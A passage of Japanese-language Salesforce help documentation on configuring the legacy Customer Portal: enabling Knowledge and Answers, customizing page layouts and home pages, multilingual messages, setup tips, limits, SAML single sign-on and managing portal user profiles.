Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタマーポータルを設
定および更新する
• 「アプリケーションの

カスタマイズ」

プロファイルを作成およ
び編集する
• 「プロファイルと権限

セットの管理」

カスタマーポータルユー
ザを管理する
• 「セルフサービスユー

ザの編集」

Salesforce ナレッジの記事
を表示する
• 記事タイプに対する

「参照」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

カスタマーポータルを使用して、顧客に Salesforce ナレッジ記事へのアクセス権
を付与できます。ポータルユーザは記事の表示と評価はできますが、記事の作
成または編集はできません。
組織内で Salesforce ナレッジを設定し、カスタマーポータルを有効にしたら、次
の手順に従って、ポータルでの Salesforce ナレッジを有効にします。
1. カスタマーポータルプロファイルを次のようにして更新します。

a. カスタマーポータルユーザプロファイルやカスタマーポータルマネージャ
プロファイルをコピーして、顧客と共有する記事タイプの「参照」権限
を有効にします。

b. コピーしたプロファイルで、[記事] タブのタブ表示が [デフォルトで表示]

になっていることを確認します。

2. カスタマーポータルの詳細ページの下部にある [プロファイルの編集] をク
リックして、新しいプロファイルを有効にします。

3. コピーしたプロファイルをカスタマーポータルユーザに割り当てます。
a. 新しいカスタマーポータルユーザを作成するには、[外部ユーザの管理]を

クリックして、取引先責任者詳細ページの [カスタマーユーザを有効化]

を選択します。既存ユーザを更新するには、取引先責任者の詳細ページ
で[外部ユーザの管理]をクリックし、[カスタマーユーザの参照]を選択し
ます。

b. 新しいユーザの場合、コピーしたプロファイルを [プロファイル] ドロッ
プダウンメニューから選択します。既存ユーザの場合、[編集] を選択し
て、プロファイルを選択します。

c. [保存] をクリックします。

4. 各カスタマーポータルに [記事] タブを追加します。
5. カスタマーポータルユーザに取引先所有者とは異なるカテゴリグループの表

示設定を行う場合、カスタマーポータルユーザの表示設定を変更します。
デフォルトでは、カスタマーポータルユーザは取引先所有者からデータカテゴリへのアクセス権を継承し
ます。たとえば、取引先所有者に CEO のロールが割り当てられ、CEO のロールにカテゴリグループ内のすべ
てのデータカテゴリに対するフルアクセスがある場合、カスタマーポータルユーザもそのグループ内のす
べてのカテゴリにアクセスできます。カスタマーポータルユーザがアクセスできるカテゴリに制限が必要
な場合があります。
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6. 大規模ポータルユーザの場合は、アクセスが必要なカテゴリをデフォルトで参照可能にします。大規模ポー
タルユーザにはロールがないため、カテゴリに分類された記事にアクセスできるのは、関連付けられたデー
タカテゴリをすべてのユーザがロールに関係なく参照可能な場合のみです。

7. 記事を作成するユーザに、記事を作成または変更するときは [カスタマーポータル] をチャネルオプション
として選択する必要があることを通知します。カスタマーポータルのチャネルが選択されない場合、記事
はポータルに公開されません。

8. ユーザが [ホーム] タブから記事を検索できるようにするには、ホームページのレイアウトに記事の検索コ
ンポーネントを追加します。レイアウトがカスタマーポータルのプロファイルに割り当てられていること
を確認してください。

関連トピック:

カスタマーポータルの設定

カスタマーポータルのアンサーの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーポータルを設
定および更新する
• 「アプリケーションの

カスタマイズ」

プロファイルを作成およ
び編集する
• 「プロファイルと権限

セットの管理」

アンサーコミュニティを
作成する
• 「アプリケーションの

カスタマイズ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

カスタマーポータルを使用して、顧客にアンサーコミュニティへのアクセス権
を付与できます。
ポータルでアンサーを有効にする手順は、次のとおりです。
1. カスタマーポータルの設定

ポータルの文字や色をカスタマイズする場合、アンサーでは次の変更だけを
サポートしています。
• すべてのタブのスタイル
• 次のページスタイル

– ページ背景
– テキスト
– リンク
– リンクのフロート表示

2. アンサーを設定し、アンサーコミュニティがカスタマーポータルに表示され
るよう設定されていることを確認します。

3. 各カスタマーポータルに [アンサー] タブを追加します。
4. 次の手順でカスタマーポータルを作成します。
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取引先責任者の詳細ページで [外部ユーザの管理] をクリックし、[カスタマーユーザを有効化] を選択し
ます。

a.

b. 必要な情報を入力し、[プロファイル]ドロップダウンメニューから適切なカスタマーポータルプロファ
イルを選択します。

c. [保存] をクリックします。

5. カスタマーポータルユーザに取引先所有者とは異なるカテゴリグループの表示設定を行う場合、カスタマー
ポータルユーザの表示設定を変更します。
デフォルトでは、カスタマーポータルユーザは取引先所有者からカテゴリへのアクセス権を継承します。
たとえば、取引先所有者に CEO の役割が割り当てられ、CEO の役割にアンサーに割り当てられたカテゴリグ
ループ内のすべてのデータカテゴリに完全なアクセス権がある場合、カスタマーポータルユーザはアンサー
コミュニティ内のすべてのカテゴリにもアクセスできます。カスタマーポータルユーザがアクセスできる
カテゴリに制限が必要な場合があります。

6. 大規模ポータルユーザの場合は、権限セットまたはプロファイルを使用してデータカテゴリにアクセスす
る必要のあるユーザが参照できるようににします。

7. 組織がアイデアおよびアンサーポータルライセンスを使用している場合は、カスタマーポータルで [レポー
ト] タブを非表示にします。非表示にしないと、カスタマーポータルユーザが [レポート] タブをクリックし
たときに、「アクセス権がありません」というメッセージが表示されます。タブを非表示にする方法につ
いては、「カスタマーポータルタブのカスタマイズ」 (ページ 2850)を参照してください。

関連トピック:

カスタマーポータルの設定
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カスタマーポータルページのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを変更
する
• 「アプリケーションの

カスタマイズ」

ページレイアウトをプロ
ファイルに割り当てる
• 「プロファイルと権限

セットの管理」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

Salesforceのページレイアウトでページをカスタマイズする場合と同様に、Salesforce

カスタマーポータルページをカスタマイズできます。
ページレイアウトは、オブジェクトレコードページのボタン、項目、Sコント
ロール、Visualforce、カスタムリンク、および関連リストのレイアウトと構成を
管理します。また、どの項目が参照可能であるか、参照のみであるか、必須で
あるかを決定するのに役立ちます。ページレイアウトには、ページの表示時に
項目のセクションで提供される Sコントロールおよび Visualforce ページを含める
ことができます。SコントロールおよびVisualforceページのサイズは調整可能で、
表示ラベルおよびスクロールバーを表示するかどうかを指定できます。
カスタマーポータルユーザには、カスタマーポータルにログインしたときに各
自のプロファイルに割り当てられたレイアウトが表示されます。ポータルでは、
次のオブジェクトのページレイアウトをカスタマイズできます。
• ホーム
• ToDo

• 行動
• ケース
• 納入商品
• 取引先
• ソリューション
• 取引先責任者
• エンタイトルメント
• カスタムオブジェクト
• サービス契約

ポータルのページレイアウトのカスタマイズ
編集するページレイアウトを使用するオブジェクトの管理設定から、ページレイアウトに移動します。
デフォルトで、カスタマーポータルユーザは、取引先、取引先責任者、納入商品、商品、および価格表に対す
る「参照」権限を持っているため、自分の取引先名を参照し、自身のポータルで自ら作成したケースの取引先
責任者と納入商品を選択できます。また、カスタマーポータルの種別に応じて、納入商品と取引先に対する
「更新」または「作成」権限も持っている場合があります。
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メモ: ページレイアウトにタグセクションが含まれていても、カスタマーポータルユーザには表示されま
せん。

カスタマーポータルにカスタムオブジェクトを表示するには、以下を実行する必要があります。
• カスタムオブジェクトの [カスタマーポータルで利用可] チェックボックスをオンにします。このチェック

ボックスがオンになっていないと、ポータルプロファイルをカスタムオブジェクトのページレイアウトに
割り当てることはできません。

• ポータルユーザに割り当てられている権限セットまたはプロファイルのカスタムオブジェクトにユーザ権
限を許可します。

• カスタマーポータルユーザがカスタムオブジェクトのタブにアクセスできるように、このタブをカスタマー
ポータルに追加します。詳細は、「カスタマーポータルタブのカスタマイズ」 (ページ2850)を参照してくだ
さい。

関連トピック:

カスタマーポータルのフォントと色のカスタマイズ
カスタマーポータルのログインと設定の有効化
カスタマーポータルページの設定ヒントと考慮事項
ページレイアウト

カスタマーポータルの多言語 HTML メッセージの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ポータルの言語を設定す
る
• 「アプリケーションの

カスタマイズ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

組織で多言語が有効になっている場合、Salesforce がサポートする言語で HTML

メッセージをアップロードし、そのメッセージをポータルユーザの言語設定に
基づいてポータルで表示するように設定できます。たとえば、フランス語の HTML

メッセージをアップロードしてフランス語設定のポータルユーザの [ホーム] タ
ブで表示し、英語の HTML メッセージをアップロードして英語設定のポータル
ユーザの [ホーム] タブで表示することができます。
多言語 HTML メッセージを設定する前に、次の点に注意してください。
• 多言語 HTML メッセージをポータルに追加する前に、[ドキュメント] タブで

HTML 形式のファイルをアップロードする必要があります。
• ポータル HTML メッセージは、設定されていても [アイデア]、[レポート]、[コンテンツ]、[ソリューション]

のタブには表示されません。
多言語 HTML メッセージを設定する手順は、次のとおりです。
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1. カスタマーポータルの表示言語を設定するには、[設定] から [クイック検索] ボックスに「カスタマーポー
タル設定」と入力し、[カスタマーポータル設定] を選択します。

2. 編集するポータルの名前をクリックします。
3. [割り当てられた言語] 関連リストで [新規言語の追加] をクリックします。
4. [言語] ドロップダウンリストから言語を選択します。
5. タブ名の横にあるルックアップアイコン ( ) をクリックして、タブに表示する HTML メッセージを選択し

ます。必要に応じて、HTML メッセージを表示するそれぞれのタブに対してこのステップを繰り返します。
6. [保存] をクリックします。

カスタマーポータルページの設定ヒントと考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

次に示す Salesforce カスタマーポータルページの設定ヒントと一般情報を考慮し
てください。
ケースの設定

• カスタマーポータルを設定するときには、ケースのページレイアウト (ケースレイアウト) をコピーし
て、名前を「ポータルケースレイアウト」に変更します。これにより、社内ユーザのケースページレイ
アウトとポータルユーザのケースページレイアウトが容易に区別されます。

• デフォルトでは、カスタマーポータルから新しいケースにアクセスできますが、ケースページレイアウ
トに [セルフサービスに公開] チェックボックスを含め、このチェックボックスをオフにすることによ
り、ケースが表示されないようにすることができます。

• ケースページレイアウトの [ケースメール通知を表示] および [デフォルトでケースメール通知を表示]

チェックボックスをオンにしないでください。これらの機能は、Salesforceユーザにのみ適用されます。
• Salesforceユーザのみを対象としたコメントをポータルユーザが参照する可能性があることから、ポータ

ルプロファイルに割り当てられたケースページレイアウトに [社内コメント] 項目を追加しないでくだ
さい。

• ポータルユーザが、自分の取引先に関連する納入商品をケースと関連付けることができる場合には、
ケースページレイアウトに [納入商品] 項目を加えます。

• [取引先責任者名]参照項目をケースページレイアウトに加えて、その項目に対する「編集」権限を持つ
ユーザが、ケースの取引先責任者を同じ取引先の別のポータルユーザに変更できるようにします。

• ポータルユーザがケースの所有者である場合、ケースの [取引先責任者名] 項目は、ケースを所有する
同じポータルユーザに関連付けられた取引先責任者にする必要があります。同じポータル取引先に関連
付けられていても、異なる取引先責任者は指定できません。
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• ケースクローズページレイアウトで [ソリューション情報のセクションを表示する]、[[取引先責任者通
知メール] チェックボックスを表示]、および [[取引先責任者の通知メール] チェックボックスをデフォ
ルトでオンにする] チェックボックスをオンにしないでください。これらの機能は、Salesforce ユーザに
のみ適用されます。

• ケースレコードタイプを作成し、カスタマーポータルでログオンされたケースの [発生源] 選択リスト
項目のデフォルト値を設定します。

• ケース割り当てルールをカスタマーポータルで機能させるには、ポータルプロファイルに割り当てられ
ているケースページレイアウトの [[ケースの割り当て] チェックボックスをデフォルトでオンにする]

チェックボックスをオンにします。ポータルユーザは、カスタマーポータルでこれらのチェックボック
スを参照できません。ケースが作成されたときと編集されたときに、割り当てルールが適用されます。
ポータルユーザがケースを編集したときにケースが自動的に再割り当てされないようにするには、「現
在のユーザ: ユーザ種別 次の文字列を含む カスタマーポータル」という条件のルールを追加して、[ユー
ザを再割り当てしない] チェックボックスをオンにします。

• ポータルユーザは、ケースに対して、[種類]、[状況]、[優先度]、および [原因] 選択リスト項目の値
を個別に含むレコードタイプを作成した場合を除き、すべての値を参照できます。

• ユーザが添付ファイルのあるケースを送信できないようにするには、ケースページレイアウトから [登
録 & ファイルを添付] を削除します。
1. 高度なページレイアウトエディタを使用して、ケースページレイアウトを編集します。
2. [レイアウトのプロパティ] をクリックします。
3. [登録 & ファイルを添付] ボタンを表示] をオフにします。
4. [OK] をクリックします。
5. [保存] をクリックします。

ケース
• ポータルユーザがケースを作成するには、取引先責任者に対する「参照」権限が必要です。
• ポータルユーザは、ケースの [状況] 選択リスト項目の値を編集できません。
• ポータルユーザは、自分がケースに追加した添付ファイルは編集および削除できますが、Salesforceユー

ザによってケースに追加された添付ファイルを編集および削除することはできません。
• ポータルユーザは、ケース詳細ページの [削除] および [共有] ボタンを利用できません。
• ケースの詳細ページの [メール] 関連リストからメールを表示する場合、カスタマーポータルユーザに

は、[メールメッセージリスト]、[次へ]、[前へ]の各リンクが表示されません。[メール] 関連リストは、
メール-to-ケースまたはオンデマンドメール-to-ケースが有効な組織でのみ使用できます。

• 必要に応じて、ポータルユーザがポータルでケースを作成したときに、そのポータルユーザに自動的に
応答するケース自動レスポンスルールを作成することもできます。

• ポータルユーザは、ケースでメモと添付ファイルを参照、検索、および作成できます。
• ポータルユーザがケースを作成すると、次の場合は [推奨ソリューション] ページは省略され、ケース参

照ページが表示されます。
– ケースに一致した関連する推奨ソリューションがない。
– [登録 & ファイルを添付] をクリックしてケースを作成する。
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推奨ソリューションは、それらを有効にしている組織でのみ使用できます。推奨ソリューションについ
ての詳細は、「推奨ソリューションの概要」 (ページ3494)を参照してください。カスタマーポータルユー
ザが推奨ソリューションから自分のケースをセルフクローズする方法についての詳細は、「カスタマー
ポータルのログインと設定の有効化」を参照してください。

• Salesforce ナレッジを有効にすると、ポータルユーザに割り当てられたケースのページレイアウトに [記
事] 関連リストを追加できます。これにより、ポータルユーザはケースの解決に役立つ記事を見つける
ことができます。

• Chatterが組織で有効になっている場合、フィードの添付ファイルは [メモと添付ファイル] 関連リストに
含まれます。ポータルユーザはフィードの添付ファイルをダウンロードできますが、プレビュー、編
集、削除はできません。

ソリューション
• ポータルユーザは、ソリューションの [状況] 選択リスト項目を利用できません。
• ソリューションの [状況] 選択リスト項目を [レビュー済みフラグ] に設定して、ソリューションがカス

タマーポータルに表示されるようにする必要はありません。ソリューションで [セルフサービスポータ
ルに公開]チェックボックスがオンになっている場合には、ソリューションがカスタマーポータルに表
示されます。

• 組織でソリューションカテゴリを有効にした場合は、ソリューションカテゴリもカスタマーポータルに
表示されます。カテゴリを選択していないソリューションはカスタマーポータルのソリューションカテ
ゴリに表示されませんが、ポータルの検索およびリストビューには表示されます。

• カスタマーポータルでトップソリューション機能を利用することはできませんが、カスタマーポータル
のホームページに、組織にとって重要なソリューションへのリンクを作成することはできます。

ホームページ
• カスタマーポータルユーザに割り当てられたホームページレイアウトに [カスタマーポータルへようこ

そ] コンポーネントを追加します。ポータルにログインする各カスタマーポータルユーザにはユーザ名
が記載された「お知らせ」メッセージだけが送信されます。また、ユーザは自分のポータルのユーザ
名、パスワード、ロケール、言語、タイムゾーンおよび連絡先情報を変更できます。ポータルユーザが
自分自身の情報を変更するとそのユーザレコードが更新されますが、その変更を使ってユーザの取引先
責任者レコードが自動的に更新されることはありません。
「シングルサインオンの有効」権限を持つカスタマーポータルユーザは、[カスタマーポータルへよう
こそ] コンポーネントから自分のユーザ名を変更できません。

• カスタマーポータルのホームページのレイアウトを設計するときには、[検索]、[ソリューション検索]、
[最近使ったデータ]、[カスタマーポータルへようこそ] などのコンポーネントと、広い列に自社のブラ
ンド情報を表示するカスタム HTML エリアコンポーネントを追加することをお勧めします。

• カスタムリストビュー、特定のドキュメント、およびトップショリューションへのリンクなどのカスタ
ムコンポーネントを作成して、カスタマーポータルのホームページレイアウトに追加します。

• カスタムコンポーネント名は、カスタマーポータルのホームページの広いセクションには表示されませ
ん。

• ログアウトリンクは、「<a href="/secur/logout.jsp">Logout</a>」という HTML タグを使用し
て、ヘッダーの任意の場所に配置できます。ヘッダーについての詳細は、「カスタマーポータルのログ
インと設定の有効化」 (ページ 2838)を参照してください。
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• [ToDo]、[カレンダー]、[商品の検索]、[最近使ったデータ]、[ダッシュボードのスナップショット]、
[お知らせ]、[承認するアイテム] は、Salesforce ユーザ向けのコンポーネントであるため、カスタマー
ポータルのホームページのレイアウトに追加しないことをお勧めします。

活動
• ポータルユーザを活動に割り当てることはできません。
• ポータルユーザは、自身が参照権限を持っているオブジェクトと関連付けられており、「セルフサービ

スに公開」が設定されている完了した ToDo と過去の行動を参照できます。
ドキュメント

[ドキュメント] タブ上の組織の社内ドキュメントが、ポータルユーザがアクセスできるフォルダに存在し
ないことを確認します。

レポート
• ポータルユーザは、「レポート実行」権限を持っていればレポートを実行できます。
• ポータルユーザは、「レポートのエクスポート」権限を持っていればレポートをエクスポートできま

す。
• ポータルユーザはレポート結果をカスタマイズできないため、ポータルユーザ用のレポート結果には、

[レポートオプション] セクションは表示されません。また、[編集]、[大]、[中]、および [小] のリンクが
含まれた [作成されたグラフ] セクションもレポート結果には表示されません。

• ポータルユーザ用のレポート結果には、そのポータルユーザがアクセス権限を持つオブジェクトへのリ
ンクのみが含まれています。

• ポータルユーザがレポートを実行できるオブジェクトは、組織のデフォルトの共有設定で「非公開」と
設定されたオブジェクトのみです。カスタマーポータルユーザは、ソリューションや記事など、共有モ
デルに含まれない一部のオブジェクトに関するレポートを実行できません。

• ポータルユーザが、参照権限のないオブジェクトが含まれるレポートを実行すると、エラーになりま
す。

• デフォルトでは、ポータルユーザも含めたすべてのユーザがレポートフォルダを参照できます。ポータ
ルユーザがレポートフォルダを参照できないようにするには、レポートフォルダに対する共有設定を
「すべての内部ユーザ」グループに更新します。

カスタムオブジェクト
• カスタムオブジェクトの [カスタマーポータルで利用可]チェックボックスをオフにすると、そのカスタ

ムオブジェクトは、カスタマーポータルで使用できなくなり、そのカスタムオブジェクトに対するすべ
てのユーザ権限がポータルプロファイルから自動的に削除されます。カスタムオブジェクトの [カスタ
マーポータルで利用可] チェックボックスを再度オンにした場合は、ポータルプロファイルのカスタム
オブジェクトに対するユーザ権限を更新する必要があります。

メモ: カスタムオブジェクトのアクセス権限を後で設定する場合は、権限セットは設定に保持され
ます。

• ポータルユーザは、カスタムオブジェクトのメモと添付ファイルを参照、検索、および作成できます。
• Chatterが組織で有効になっている場合、フィードの添付ファイルは [メモと添付ファイル] 関連リストに

含まれます。ポータルユーザはフィードの添付ファイルをダウンロードできますが、プレビュー、編
集、削除はできません。
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記事
設定情報については、「カスタマーポータルでのSalesforce ナレッジの有効化」 (ページ2858)を参照してくだ
さい。

納入商品
• ポータルユーザは、自身の取引先に関連付けられている納入商品の作成、参照、および更新ができま

す。
• 納入商品は、ケースページレイアウトに [納入商品] 参照項目を設けた場合にのみ、ポータルユーザに

表示されます。ポータルユーザは、ケース詳細ページから [納入商品]項目の納入商品をクリックして、
その納入商品を参照できます。

• ポータルユーザは、納入商品の添付ファイルを参照および検索できます。
• Chatterが組織で有効になっている場合、フィードの添付ファイルは [メモと添付ファイル] 関連リストに

含まれます。ポータルユーザはフィードの添付ファイルをダウンロードできますが、プレビュー、編
集、削除はできません。

Salesforce CRM Content

• Salesforce CRM Content機能ライセンスを持つポータルユーザは、ライブラリ権限によって実行可能なすべ
ての ToDo を実行できます。

• 「ポータルのコンテンツの参照」ユーザ権限を持つポータルユーザのSalesforce CRM Contentへのアクセス
は「参照のみ」になります。

• 「ライブラリの作成」ユーザ権限を持つポータルユーザは、ライブラリの作成と管理ができます。
詳細は、「カスタマーポータルに対するSalesforce CRM Contentの有効化」 (ページ2852)を参照してください。

アンサー
設定情報については、「カスタマーポータルのアンサーの有効化」 (ページ2859)を参照してください。ポー
タルの文字や色をカスタマイズする場合、アンサーでは次の変更だけをサポートしています。
• すべてのタブのスタイル
• 次のページスタイル

– ページ背景
– テキスト
– リンク
– リンクのフロート表示

アイデア
設定情報については、「カスタマーポータルのアイデアの有効化」 (ページ 2855)を参照してください。

取引先
「外部ユーザの代理管理者」権限のあるユーザのみが、カスタマーポータルで [取引先] タブおよび取引先
の詳細ページを参照できます。「カスタマーポータルユーザの代理管理とポータルスーパーユーザ」 (ペー
ジ 2894)を参照してください。

メモ: カスタマーポータルユーザには、取引先に関する [メモ & 添付ファイル] 関連リストは表示され
ません。
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取引先責任者
「外部ユーザの代理管理者」権限のあるユーザのみが、取引先の取引先責任者を参照できます。「カスタ
マーポータルユーザの代理管理とポータルスーパーユーザ」 (ページ 2894)を参照してください。
「ポータルスーパーユーザ」権限のあるユーザのみが、カスタマーポータルで [取引先責任者] タブおよび
取引先責任者の編集ページと詳細ページを参照できます。「カスタマーポータルユーザの代理管理とポー
タルスーパーユーザ」 (ページ 2894)を参照してください。

メモ: カスタマーポータルユーザには、取引先責任者に関する [メモ & 添付ファイル] 関連リストは表
示されません。

エンタイトルメント
• セットアップについての詳細は、「カスタマーポータルのエンタイトルメント管理の有効化」 (ページ

2856)を参照してください。
• エンタイトルメントに対する「参照」権限をカスタマーポータルプロファイルに追加します。プロファ

イルを、エンタイトルメントへのアクセス権が必要なポータルユーザに割り当てます。「カスタマー
ポータルへのユーザアクセス権の設定」 (ページ 2884)を参照してください。

• [エンタイトルメント名]参照項目をケースのページレイアウトに追加し、ポータルユーザがエンタイト
ルメントをケースに追加できるようにします。

• ポータルユーザは内部サポートプロセスに関する情報にアクセスできないため、ポータルユーザのケー
スページレイアウトにエンタイトルメントプロセス項目 [エンタイトルメント処理開始時刻]、[エンタイ
トルメント処理終了時刻]、[中止]、および[中止開始日] を追加しないでください。

• 必要に応じて、ポータルユーザが取引先に関連するエンタイトルメントを表示し、エンタイトルメント
からケースを作成できるよう、[エンタイトルメント] タブをカスタマーポータルに追加します。

• 外部ユーザの代理管理者が適切なエンタイトルメントに関連するケースを自動的に作成できるよう、エ
ンタイトルメント関連リストを取引先ページレイアウトおよび取引先責任者ページレイアウトに追加し
ます。「カスタマーポータルユーザの代理管理とポータルスーパーユーザ」 (ページ2894)を参照してくだ
さい。

サービス契約
• セットアップについての詳細は、「カスタマーポータルのエンタイトルメント管理の有効化」 (ページ

2856)を参照してください。
• サービス契約へのアクセス権が必要なポータルユーザに、サービス契約に対する「参照」権限を付与し

ます。「カスタマーポータルへのユーザアクセス権の設定」 (ページ 2884)を参照してください。
• ポータルユーザがサービス契約の詳細を参照できるよう、[サービス契約] タブをカスタマーポータルに

追加します。「カスタマーポータルタブのカスタマイズ」 (ページ 2850)を参照してください。
• 契約品目名はカスタマーポータルに表示されません。

フロー
• Force.com フローは、Visualforce ページに埋め込むことでカスタマーポータルに含めることができます。
• ユーザは、有効なバージョンを含むフローしか実行できません。埋め込んだフローに有効なバージョン

が含まれていない場合は、エラーメッセージが表示されます。埋め込んだフローにサブフロー要素があ
る場合、サブフロー要素から参照およびコールされるフローは有効バージョンである必要があります。
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• サイトまたはポータルユーザがフローを使用できるようにするには、フロー自体ではなく、埋め込みフ
ローを含む Visualforce ページを参照するようにします。サイトおよびポータルユーザがフローを直接実
行することはできません。

関連トピック:

カスタマーポータルページのカスタマイズ

カスタマーポータル設定の制限

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

有効にできるカスタマーポータル数とカスタマーポータルユーザライセンス数
についての詳細は、Salesforce にお問い合わせください。
カスタマーポータルで作成できるカスタムオブジェクトの最大数は、使用して
いるエディションで作成できるカスタムオブジェクトの総数によって決定されます。
また、カスタマーポータルでポータルユーザに表示できるカスタムオブジェクト数は、ユーザライセンスに
よって制御されます。詳細は、Salesforce にお問い合わせください。

関連トピック:

カスタマーポータルの設定
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ポータルのシングルサインオンの有効化

エディション

使用可能なエディション:
Salesforce Classic

カスタマーポータルを使
用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パートナーポータルを使
用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

シングルサインオン (SSO) を使用すると、ユーザが 1 回のログインで複数の承認
済みネットワークリソースにアクセスできます。企業ユーザのデータベースま
たはクライアントアプリケーションに対してユーザ名とパスワードを検証でき、
リソースごとに個別の Salesforce 管理のパスワードは必要ありません。
カスタマーポータルおよびパートナーポータルでSAMLシングルサインオンを使
用するように設定して、ユーザのログインを一度で済ませることができます。

メモ: ポータルでのシングルサインオンは SAML 2.0 でのみサポートされてい
ます。

ポータルのシングルサインオンを有効にする手順は、次のとおりです。
1. ID プロバイダと収集および共有する必要のあるSAML サインオン情報のほか、

情報プロバイダに組織 ID とポータル ID を知らせる必要があります。ID プロバ
イダから送信される SAML アサーションで、portal_id および
organization_id を属性として追加する必要があります。

メモ: これらの属性を空白のままにして、ポータルユーザとプラット
フォームユーザを区別できるようになりました。たとえば、属性を空白
のままにした場合は、通常のプラットフォームユーザで、入力した場合
はポータルユーザです。

a. [設定] から、[クイック検索] ボックスに「組織情報」と入力し、[組織情
報] を選択して、[Salesforce 組織 ID] にある ID をコピーします。

b. カスタマーポータルの場合、[設定] から [クイック検索] ボックスに「カ
スタマーポータル設定」と入力し、[カスタマーポータル設定] を選択し、
カスタマーポータルの名前をクリックして、[ポータル ID] にある ID を
コピーします。

c. パートナーポータルの場合、[設定] から [クイック検索]ボックスに「パー
トナー」と入力し、[設定]を選択します。次に、パートナーポータルの名
前をクリックして、[Salesforce ポータル ID] にある ID をコピーしま
す。

関連トピック:

カスタマーポータルの設定
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カスタマーポータルユーザ

カスタマーポータルユーザの管理について

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

「セルフサービスユーザの編集」カスタマーポータルユーザを管理する

「プロファイルと権限セットの管理」プロファイルと権限セットを管理する

「アプリケーションのカスタマイズ」ページレイアウトを作成、編集、および
削除する

「プロファイルと権限セットの管理」

および

「アプリケーションのカスタマイズ」

項目レベルセキュリティを設定する

「共有の管理」共有ルールを設定する

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用できません。既存の組織は、
引き続きカスタマーポータルにアクセスすることができます。カスタマーポータルがない場合に顧客と
簡単に情報を共有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを継続して使用することも、コ
ミュニティに移行することもできます。詳細は、Salesforceアカウントエグゼクティブにお問い合わせくだ
さい。

カスタマーポータルユーザの管理は、通常のSalesforceユーザの管理と似ています。プロファイルやページレイ
アウトなどの一般的なユーザ管理の概念が適用されます。カスタマーポータルユーザの管理に関する以下のア
ドバイスを確認してください。
• カスタマーポータルプロファイル
• カスタマーポータルの共有ルール
• カスタマーポータルのロール階層
• カスタマーポータルユーザライセンス

メモ: 大規模ポータルユーザには、大規模カスタマーポータルと認証 Web サイトライセンスの種類が含ま
れます。

カスタマーポータルプロファイル
カスタマーポータルユーザに割り当てるプロファイルにより、カスタマーポータルでさまざまな機能を実行す
るためのユーザ権限が決まります。たとえば、ユーザが、ケースやカスタムオブジェクトレコードを参照、作
成、編集、削除できるかどうかが決まります。
カスタマーポータルを有効にすると、次のプロファイルが自動的に作成されます (ただし、それぞれのユーザ
ライセンスを購入している場合)。
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• 大規模カスタマーポータル
• 認証 Web サイト
• カスタマーポータルユーザ
• カスタマーポータルマネージャ
カスタマーポータルの各プロファイルの設定は似ています。ただし、カスタマーポータルロール階層と共有
ルール (どちらも大規模ポータルユーザに割り当てることはできない) を使用して、カスタムポータルマネー
ジャプロファイルを持つユーザに、データに対するより強いアクセス権限を付与できます。また、各プロファ
イルをコピーおよびカスタマイズして、特定の顧客の各種サポート要件に適合させることができます。また、
